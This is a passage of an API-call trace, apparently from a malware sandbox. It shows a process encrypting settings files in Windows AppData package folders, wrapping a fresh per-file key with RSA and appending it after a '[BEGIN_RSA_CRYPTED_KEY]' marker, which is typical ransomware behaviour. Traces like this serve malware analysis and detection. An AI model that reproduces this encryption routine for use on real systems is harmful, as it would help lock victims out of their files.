dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.342] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Sho0TUrQ4BTPTeoXf+vI/XIj/i36UQr6vUEXuNvbKyss8buY7gJgtQ+lDw1AtLE3\nAricwetNRvIfV8kk6NMBZKePcW+RmTmkyG/He0ZYcjhw6FKpBJSiNTfY/WUcyEeH\nLykrOHVuEXRpyfl51vEGBngOYycKZrPs8uJfNw7IWJG43F558rAumB0LnVm5dBEY\nz9XwD3G5RVS04BWtzetLkZUqdwuGCkTou4yd7RkEFlVC/jqzlZ5o+3isQX2ooULt\n6SDxgiAVv/JztsTNeP+Jho6Q7JvrgUK2nC4cJf50WWmNDWE5Lfly5RqgSseNN8gH\n6MMJK7ENYTilJ/msoByyeQ==\n", pcchString=0x2e3f9a8) returned 1 [0197.342] WriteFile (in: hFile=0xdc8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.342] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.342] WriteFile (in: hFile=0xdc8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.342] CloseHandle (hObject=0xdc8) returned 1 [0197.350] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.350] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0197.351] ReadFile (in: hFile=0xdc8, lpBuffer=0x59d1c0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.351] SetFilePointer (in: hFile=0xdc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.351] WriteFile (in: hFile=0xdc8, lpBuffer=0x59d200*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d200*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.351] SetFilePointer (in: hFile=0xdc8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0197.351] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.351] WriteFile (in: hFile=0xdc8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.352] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.352] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.353] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.353] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="FfW/4pMddVcW88DjX5KqF3aopL9w5sLX19cS62fxJYSS9K3O07vbrDlwMUrs6qek\nt26/IrvaqOD76B7fnD08r8q4Tg302DLWtdZJ229rPOwB+Okyv53dS21obmfjhNnQ\n+zkVmDXNP0SFQyBrHiMw1EmzMovPLzww30r6PsU+45mRdWWP100gq57t4lFuAnot\nZ5DedOxr9R+KbkJmjmLPRpPmAyy9F8+X6cOOXReXRuy4Q8RLT/BU5WUateiFwgOx\nj2FVaeBZ6xbYJyMsmjxSkTqZzV8N1McE63AxmR25UrF7Q9NBEytZy/YmiDHVEaL8\nAT5ed8Huk/Pd6u13xsETrw==\n", pcchString=0x2e3f9a8) returned 1 [0197.353] WriteFile (in: hFile=0xdc8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.353] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.353] WriteFile (in: hFile=0xdc8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.354] CloseHandle (hObject=0xdc8) returned 1 [0197.356] WriteFile (in: hFile=0xdd4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.357] CloseHandle (hObject=0xdd4) returned 1 [0197.358] WriteFile (in: hFile=0xdd4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.359] CloseHandle (hObject=0xdd4) returned 1 [0197.360] WriteFile (in: hFile=0xdd4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.361] CloseHandle (hObject=0xdd4) returned 1 [0197.362] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.362] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0197.381] ReadFile (in: hFile=0xde8, lpBuffer=0x59d1a0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.381] SetFilePointer (in: hFile=0xde8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.382] WriteFile (in: hFile=0xde8, lpBuffer=0x59d320*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.382] SetFilePointer (in: hFile=0xde8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0197.382] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.382] WriteFile (in: hFile=0xde8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.383] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.383] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.383] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.384] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="i/MXu8lRztYFh2PyPDMAdWt4vx/W8dDps4tLZZ879nYHq+L9H4sc8h4fvnuhhEW4\n0rOnITMxrq4rS9T51pp1ER+M2zItT833212pbOZy/bL+OiKgi5M5TaRL+9pC8nCw\nx24xdJaKFonVOOMcGujWhuSmYZAt8Yj3Ser8x51uFkqDxtjiq/FDqLbAdibj0QiN\nOqt/vJudtnKDSbaWZv6rWSEDx+WnP8jM9n1PTKuLj8V93uAqHPbeH4Je/XnnMnPw\nan5ynpuNGgU/meECC7nr78fvagNzDcuAKk6TBGAX9EpfcHgrF1QipDzsWw9Ya0ef\nL7UmhGRq7ee2JMDy/JpuWQ==\n", pcchString=0x2e3f9a8) returned 1 [0197.384] WriteFile (in: hFile=0xde8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.384] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.384] WriteFile (in: hFile=0xde8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.384] CloseHandle (hObject=0xde8) returned 1 [0197.386] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.386] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0197.387] ReadFile (in: hFile=0xde8, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.404] SetFilePointer (in: hFile=0xde8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.404] WriteFile (in: hFile=0xde8, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.404] SetFilePointer (in: hFile=0xde8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0197.405] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.405] WriteFile (in: hFile=0xde8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.405] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.405] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.406] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.406] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ehsLIS7ibhE6SWIkCdFz/69JHYDBjXHDXZA/uWCt42DiGm/97UVcS4s/iXsW4H9t\nskFAbfdEuvPdzOuQJk46mQhLZaZrp1PCnKuKQhkq5RrnLieQW/uf/QxnE8mbWPAP\nE1Pu/d8Dyw0VQAa6+xuiyaffxE+5OR3hJ2eDb9EiUPPvV9Uwz7Et35vyMa/T6NLd\nhTe2/c4e0WtDiDoIuLU/a6PDWFwsakajp70mtKZ1MsWimjXusWqCo+JywdxEWA5Y\nYBLjY1almXerdNzLM5smlK2UYwS0VfiYfcu2a/QLuAXVaftrwOxy7Iz5ijI0/+ye\nutDOHUoJ9aoQHqTJKnuyFg==\n", pcchString=0x2e3f9a8) returned 1 [0197.406] WriteFile (in: hFile=0xde8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.406] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.406] WriteFile (in: hFile=0xde8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.406] CloseHandle (hObject=0xde8) returned 1 [0197.408] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.408] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0197.409] ReadFile (in: hFile=0xde8, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.421] SetFilePointer (in: hFile=0xde8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.421] WriteFile (in: hFile=0xde8, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.422] SetFilePointer (in: hFile=0xde8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0197.422] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.422] WriteFile (in: hFile=0xde8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.423] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.423] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.423] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.423] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="6C1ooxJJysT7qSqEW+bAsHISgUvwwc7CjdIYrqIUrCZd1zUGmB6cOIFpxAVm7hDk\ny9RbnKYfK1Di55ud0Bux+VPlh93eADhdYCqd9Atn/5/hOXDHfuaa0b5e25KEtAre\nhVRXWLTtixiAhtuAXnWh8VNpSNJVGa97E4aSeWb8Iw6N1FXuTqB01WuUtOXB7JQZ\n3i4IQvAkHrUV6VMWUk5wlSx0ZEOtF3Ht75DQBUXkjvbEmo1PJCvH2X0oRlqGTjOk\nZCs11kRuPXTSiWTSMZ/nqCNU2N5F1+mYmonfScnXEdnWV8OSJEwU9g1rSl0kg/zC\n/9AxF/JlheS9wSWqRKF1hQ==\n", pcchString=0x2e3f9a8) returned 1 [0197.423] WriteFile (in: hFile=0xde8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.423] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.423] WriteFile (in: hFile=0xde8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.424] CloseHandle (hObject=0xde8) returned 1 [0197.429] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.429] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0197.430] ReadFile (in: hFile=0xde8, lpBuffer=0x59d390, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d390*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.430] SetFilePointer (in: hFile=0xde8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.430] WriteFile (in: hFile=0xde8, lpBuffer=0x59d2f0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.430] SetFilePointer (in: hFile=0xde8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0197.430] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.430] WriteFile (in: hFile=0xde8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.431] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.431] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.431] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.432] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="7meeOgpYIu0+6i7MtqDruphu7z7qjRYe6dj5IkGkkaKr4Wv1bYCYMk9CCLrcw566\nk+RIkRcsaCQaZOvpB353LnRmWyF5N1drQMhmQ0z/02HitAhfX27LZekbXYA7vyAv\ncnsSHaYoxFb+jYdiWKFuG2JeXK+E2lu9/pK/LNG5YqdWtkhlZbiDThxpqB6lTUTs\nLGGtxr/ogLpce4aQ+vo7o7GqyHva+XO1aE8ZF/sI8qYVz2QazXNrg2jwZyWg8xu9\nCKsbMGEUVD+3GKzXqs39HbmgZNuNDRAqDL7II4DvvrdEh8rWFbAyvj3yUk5Q4mog\nTLYnej+pNJVT8JZl486CNA==\n", pcchString=0x2e3f9a8) returned 1 [0197.432] WriteFile (in: hFile=0xde8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.432] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.432] WriteFile (in: hFile=0xde8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.432] CloseHandle (hObject=0xde8) returned 1 [0197.435] WriteFile (in: hFile=0xdf4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.436] CloseHandle (hObject=0xdf4) returned 1 [0197.437] WriteFile (in: hFile=0xdf4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.438] CloseHandle (hObject=0xdf4) returned 1 [0197.438] WriteFile (in: hFile=0xdf4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.440] CloseHandle (hObject=0xdf4) returned 1 [0197.440] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.440] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0197.442] ReadFile (in: hFile=0xe08, lpBuffer=0x59d370, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d370*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.442] SetFilePointer (in: hFile=0xe08, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.442] WriteFile (in: hFile=0xe08, lpBuffer=0x59d380*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d380*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.442] SetFilePointer (in: hFile=0xe08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0197.442] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.442] WriteFile (in: hFile=0xe08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.443] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.443] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.444] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.444] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3+y0n63LJjXCWs0d6YJE/IJC8EIO3jKVBqDLSjLW5UaVpNVEO+pwU79MwgYglRQk\nGBOb5oT8oHD3Ee9jarV036Y7aC3MuK9bsrrn0QlaloOdnGDyqMPeoBmtGEs0HW//\nc8ODKEaFIKVT8E1bSOQ45QrLQCtJdEPXwIKJ+ntgPy2A43AvdNRAb7r4eEbsrHUX\nGE2EHKvjLz49l3dkxpvgiRiZrVge0lmxnqFh/5CS9U52FDKPc52GTbR3dD/2krWP\ns+HrLwTt/sWKNNWhPuEXFfsWfb3cmfPbXW1HFA+pCXoV6++OEFRS9Axy8TkI2I6q\nruTYSgpZeu+K54ps6lzJEg==\n", pcchString=0x2e3f9a8) returned 1 [0197.444] WriteFile (in: hFile=0xe08, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.444] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.444] WriteFile (in: hFile=0xe08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.445] CloseHandle (hObject=0xe08) returned 1 [0197.447] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.447] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0197.448] ReadFile (in: hFile=0xe08, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, 